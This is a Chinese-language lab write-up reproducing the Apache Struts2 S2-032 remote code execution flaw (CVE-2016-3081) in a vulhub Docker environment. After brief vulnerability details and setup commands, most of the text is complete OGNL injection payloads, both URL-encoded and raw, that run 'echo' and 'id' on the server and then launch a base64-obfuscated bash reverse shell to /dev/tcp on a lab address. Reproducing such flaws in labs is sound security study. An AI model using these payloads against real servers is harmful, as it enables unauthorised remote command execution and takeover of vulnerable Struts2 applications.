CVE-2016-3081 S2-032 远程代码执行漏洞

原创

用户8478947

发布于 2022-12-22 16:32:40

8050

发布于 2022-12-22 16:32:40

文章被收录于专栏：安全学习

1 漏洞信息

漏洞名称	远程代码执行漏洞
漏洞编号	CVE-2016-3081
危害等级	高危
漏洞类型	中间件漏洞
漏洞厂商	Apache
漏洞组件	Struts2
受影响版本	2.3.20 <= Struts2 <= 2.3.28，其中2.3.20.3和2.3.24.3版本没有漏洞。
漏洞概述	S2-032漏洞是一种影响Apache Struts web应用程序框架的远程代码执行（RCE）漏洞。此漏洞允许攻击者通过发送特制的HTTP请求在服务器上执行任意代码。这可能被利用来获得对服务器的未经授权的访问，从而可能导致系统的完全破坏。

2 环境搭建

2.1 环境概述

Linux操作系统

2.2 搭建过程

拉取镜像

 cd vulhub/struts2/s2-032
 docker-compose up -d

访问http://192.168.146.158:8032/category.action

3 漏洞复现

构造一个恶意的payload

 http://192.168.146.158:8032?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=echo+has+vul
 
 payload原型：
 http://192.168.146.158:8032?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=echo has vul

访问url发现成功执行了echo has vul代码，说明存在该漏洞。

既然发现漏洞了，那我们可以构造一个payload，执行id命令。

 http://192.168.146.158:8032?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
 
 payload原型：
 http://192.168.146.158:8032?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=id

成功执行了id命令。

接下来开始反弹shell

 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 base加密
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
 url编码
 bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

访问漏洞url并且添加恶意payload进行抓包。

 http://192.168.146.158:8032?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
 
 payload原型：
 http://192.168.146.158:8032?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}